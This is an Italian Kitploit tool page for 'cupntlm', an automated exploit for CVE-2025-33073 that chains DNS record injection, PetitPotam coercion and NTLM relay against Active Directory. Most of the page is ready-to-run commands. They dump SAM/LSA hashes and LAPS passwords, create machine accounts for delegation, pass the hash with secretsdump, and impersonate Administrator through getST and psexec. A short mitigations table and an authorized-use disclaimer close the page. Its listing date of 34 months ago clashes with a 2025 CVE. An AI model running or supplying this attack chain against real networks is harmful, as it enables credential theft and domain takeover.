Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
Strumenti/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitMovimento LateraleRaccolta InformazioniPost-ExploitPenetration TestingCommand and Control

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Autenticazione
Red Teaming
Analisi DNS
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

Vedi Repository
34 mesi faNon ancora revisionato
Condividi

cupntlm

CVE-2025-33073 — Bypass del Reflection NTLM tramite Coercizione DNS
Strumento di sfruttamento automatizzato per ambienti Active Directory.


Panoramica

cupntlm automatizza la catena di attacco NTLM reflection/relay che abusa di CVE-2025-33073. Combina l'iniezione di record DNS, la coercizione dell'autenticazione forzata (PetitPotam) e il relay NTLM in un unico flusso di lavoro. Lo strumento supporta due modalità operative a seconda dei requisiti di scope e di stealth.

Riepilogo della Catena di Attacco

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Prerequisiti sulla rete di destinazione:

  • Firma SMB disattivata sul target del relay
  • Un account di dominio valido con privilegi bassi (è sufficiente la sola lettura)
  • Accesso di rete al DC (porta 389 LDAP, 445 SMB)

Requisiti

Pacchetti di Sistema

Librerie Python

LibreriaInstallazione
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspython

Contenuto della Directory exploit/ (popolata automaticamente da setup.sh)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

Installazione

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Utilizzo

Modalità Check — Verifica della Fattibilità dell'Attacco

Verifica lo stato della firma SMB sui target e valida le credenziali di dominio prima di tentare qualsiasi operazione.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Modalità Per-Target — Record DNS Separato per Ogni Host

Crea un record DNS univoco per ogni target, attiva la coercizione uno alla volta e pulisce i record tra una iterazione e l'altra. Più lenta ma più precisa e lascia meno tracce.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Modalità Single — Un Solo Record DNS, Relay Persistente

Inietta un singolo record DNS e mantiene ntlmrelayx in esecuzione continua mentre itera su tutti i target. Più veloce per scope ampi.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Formato di targets.txt

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

Sfruttamento Manuale

I seguenti passaggi riproducono manualmente l'intera catena di attacco senza usare cupntlm.py. Utile per comprendere i primitive, il debug o l'adattamento ad ambienti non standard.

Passo 1 — Enumerazione della Firma SMB

Identifica gli host in cui la firma SMB è disattivata. Questi sono i tuoi target validi per il relay.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

Oppure con nmap:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Cerca:

root@kitploit:~
Message signing enabled but not required   ← valid relay target
Message signing enabled and required       ← cannot relay here

Passo 2 — Iniezione di un Record DNS Dannoso

Usa dnstool.py per aggiungere un record A nel DNS del dominio che punti un hostname alla tua macchina. Quando un target risolve questo hostname e si autentica, la richiesta arriva al tuo listener di relay.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # your attacker IP
  --type A \
  10.0.0.1                       # DC IP

Verifica che il record sia stato aggiunto:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Passo 3 — Avvio del Listener di Relay NTLM

Avvia ntlmrelayx.py prima di attivare la coercizione. Resta in ascolto in attesa dell'autenticazione in ingresso.

Relay a SMB — dump di SAM/LSA:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Relay a LDAP — creazione di un nuovo account macchina (per RBCD / shadow credentials):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Relay a LDAPS — dump dei segreti di dominio:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Passo 4 — Coercizione dell'Autenticazione con PetitPotam

Attiva l'autenticazione in uscita della macchina target verso il tuo record DNS iniettato. PetitPotam abusa dell'interfaccia MS-EFSRPC — nessuna credenziale richiesta sugli host non patchati, oppure usa credenziali valide per quelli patchati.

Non autenticato (target non patchato):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # your listener IP (matches DNS record)
  192.168.1.50             # target host to coerce

Autenticato (target patchato, servono credenziali valide):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

A questo punto, l'host sottoposto a coercizione invia la sua autenticazione NTLM alla tua macchina → ntlmrelayx la intercetta e la rilancia.


Passo 5 — Raccolta dell'Output

A seconda del target di relay scelto nel Passo 3:

  • Relay SMB → ntlmrelayx scarica gli hash su stdout e scrive i file <hostname>_samhashes.txt / _lsahashes.txt
  • LDAP delegate-access → ntlmrelayx stampa il nome e la password dell'account macchina creato; prosegui con getST.py per un ticket di servizio
  • LDAPS dump → le password LAPS vengono stampate direttamente

Passo 6 — Pulizia del Record DNS

Rimuovi sempre i record DNS iniettati dopo l'engagement.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Esempi di Post-Sfruttamento

Pass-the-hash con un account macchina rilayato:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Ottenere un ticket di servizio per S4U2Self (dopo RBCD):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Usare il ticket:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Mitigazioni

ControlloEffetto

Disclaimer

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza.
Non utilizzarlo contro sistemi per i quali non hai esplicita autorizzazione scritta a testare.


Crediti

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — coercizione EFS
Scarica lo strumento
StrumentoScopo
python3Runtime
pip3Gestore pacchetti Python
gitClonazione delle dipendenze
wgetDownload dei file
nmapEnumerazione firma SMB
netexec / crackmapexecVerifica firma SMB (opzionale)
pip3 install dnspython --break-system-packages
Abilitare la firma SMB (richiesta) su tutti gli hostInterrompe il relay verso SMB
Abilitare la firma LDAP + il binding del canaleInterrompe il relay verso LDAP/LDAPS
Patchare MS-EFSRPC (KB5005413)Blocca PetitPotam non autenticato
Limitare la creazione di record DNS agli amministratoriBlocca il passaggio di iniezione DNS
Disabilitare l'autenticazione di rete NTLM (preferire Kerberos)Elimina l'intera classe di attacchi